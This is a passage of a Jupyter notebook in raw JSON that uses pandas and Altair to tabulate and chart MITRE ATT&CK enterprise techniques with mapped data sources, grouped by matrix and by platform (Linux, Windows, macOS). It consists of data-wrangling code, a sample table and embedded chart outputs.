jU1g27JY6+ZS7httam8Nc8mzi13MpW9/q+9U6rH7BeUfgQDmcgToVDkqgU0b+nHXHstI+bJYZBOeGH+ashO/Yjb2XHbNXMZYFsuX6RyP3x1/Z7Ys5vZ8KS3f+TXLXTEPzVzy7CqWCTctpfmlXbEsVsZphvmS3bZlwVE7CIVPQwBzmYYztUxLYNOjyH0by/ld9fdTuP8YYC5R19ANfb/rZNvyXVdGki+N5e/T2bShf4i5eLmub0PfeGLT3g8D2HRiQ78vzjJr8dtNvSzHZ6EEMJeFCkuzIFCZQLmHVLl4ilsaAcxlaYrSHgiMQwBzGYfrYkvFXBYrLQ2DAAQgcDwCmMvx2FMzBCAAgcUSwFwWKy0NgwAEIHA8ApjL8dhTMwQgAIHFEsBcFistDYMABCBwPAKYy/HYUzMEIACBxRL4H5O/QDe0pBmfAAAAAElFTkSuQmCC", "text/plain": [ "\n", "\n", "If you see this message, it means the renderer has not been properly enabled\n", "for the frontend that you are using. For more information, see\n", "https://altair-viz.github.io/user_guide/troubleshooting.html\n" ] }, "execution_count": 21, "metadata": {}, "output_type": "execute_result" } ], "source": [ "matrix_distribution = pandas.DataFrame({\n", " 'Matrix': list(techniques_with_data_sources.groupby(['matrix'])['matrix'].count().keys()),\n", " 'Count of Techniques': techniques_with_data_sources.groupby(['matrix'])['matrix'].count().tolist()})\n", "bars = alt.Chart(matrix_distribution).mark_bar().encode(y='Matrix',x='Count of Techniques').properties(width=300,height=100)\n", "text = bars.mark_text(align='center',baseline='middle',dx=10,dy=0).encode(text='Count of Techniques')\n", "bars + text" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "All the techniques belong to **mitre-attack** matrix which is the main **Enterprise** matrix. Reference: https://attack.mitre.org/wiki/Main_Page " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 9. Grouping Techniques With Data Sources by Platform" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "First, we need to split the **platform** column values because a technique might be mapped to more than one platform" ] }, { "cell_type": "code", "execution_count": 22, "metadata": {}, "outputs": [], "source": [ "techniques_platform=techniques_with_data_sources\n", "\n", "attributes_1 = ['platform'] # In attributes we are going to indicate the name of the columns that we need to split\n", "\n", "for a in attributes_1:\n", " s = techniques_platform.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", " # \"s\" is going to be a column of a frame with every value of the list inside each cell of the column \"a\"\n", " s.name = a\n", " # We name \"s\" with the same name of \"a\".\n", " techniques_platform=techniques_platform.drop(a, axis=1).join(s).reset_index(drop=True)\n", " # We drop the column \"a\" from \"techniques_platform\", and then join \"techniques_platform\" with \"s\"\n", "\n", "# Let's re-arrange the columns from general to specific\n", "techniques_platform_2=techniques_platform.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We can now show techniques with data sources mapped to one platform at the time" ] }, { "cell_type": "code", "execution_count": 23, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
matrixplatformtactictechniquetechnique_iddata_sources
0mitre-attackLinux[defense-evasion]File Permissions ModificationT1222[File monitoring, Process Monitoring, Process ...
1mitre-attackWindows[defense-evasion]File Permissions ModificationT1222[File monitoring, Process Monitoring, Process ...
2mitre-attackmacOS[defense-evasion]File Permissions ModificationT1222[File monitoring, Process Monitoring, Process ...
3mitre-attackWindows[defense-evasion, execution]XSL Script ProcessingT1220[Process Monitoring, Process command-line para...
4mitre-attackWindows[defense-evasion, execution]Compiled HTML FileT1223[File monitoring, Process Monitoring, Process ...
\n", "
" ], "text/plain": [ " matrix platform tactic \\\n", "0 mitre-attack Linux [defense-evasion] \n", "1 mitre-attack Windows [defense-evasion] \n", "2 mitre-attack macOS [defense-evasion] \n", "3 mitre-attack Windows [defense-evasion, execution] \n", "4 mitre-attack Windows [defense-evasion, execution] \n", "\n", " technique technique_id \\\n", "0 File Permissions Modification T1222 \n", "1 File Permissions Modification T1222 \n", "2 File Permissions Modification T1222 \n", "3 XSL Script Processing T1220 \n", "4 Compiled HTML File T1223 \n", "\n", " data_sources \n", "0 [File monitoring, Process Monitoring, Process ... \n", "1 [File monitoring, Process Monitoring, Process ... \n", "2 [File monitoring, Process Monitoring, Process ... \n", "3 [Process Monitoring, Process command-line para... \n", "4 [File monitoring, Process Monitoring, Process ... " ] }, "execution_count": 23, "metadata": {}, "output_type": "execute_result" } ], "source": [ "techniques_platform_2.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's create a visualization to show the number of techniques grouped by platform:" ] }, { "cell_type": "code", "execution_count": 24, "metadata": {}, "outputs": [ { "data": { "application/vnd.vegalite.v2+json": { "$schema": "https://vega.github.io/schema/vega-lite/v2.6.0.json", "config": { "view": { "height": 300, "width": 400 } }, "datasets": { "data-e43c19da7ce52b9499b82088e3b13892": [ { "Count of Techniques": 109, "Platform": "Linux" }, { "Count of Techniques": 189, "Platform": "Windows" }, { "Count of Techniques": 128, "Platform": "macOS" } ] }, "layer": [ { "data": { "name": "data-e43c19da7ce52b9499b82088e3b13892" }, "encoding": { "color": { "field": "Platform", "type": "nominal" }, "x": { "field": "Platform", "type": "nominal" }, "y": { "field": "Count of Techniques", "type": "quantitative" } }, "height": 300, "mark": "bar", "width": 200 }, { "data": { "name": "data-e43c19da7ce52b9499b82088e3b13892" }, "encoding": { "color": { "field": "Platform", "type": "nominal" }, "text": { "field": "Count of Techniques", "type": "quantitative" }, "x": { "field": "Platform", "type": "nominal" }, "y": { "field": "Count of Techniques", "type": "quantitative" } }, "height": 300, "mark": { "align": "center", "baseline": "middle", "dx": 0, "dy": -5, "type": "text" }, "width": 200 } ] }, "image/png": "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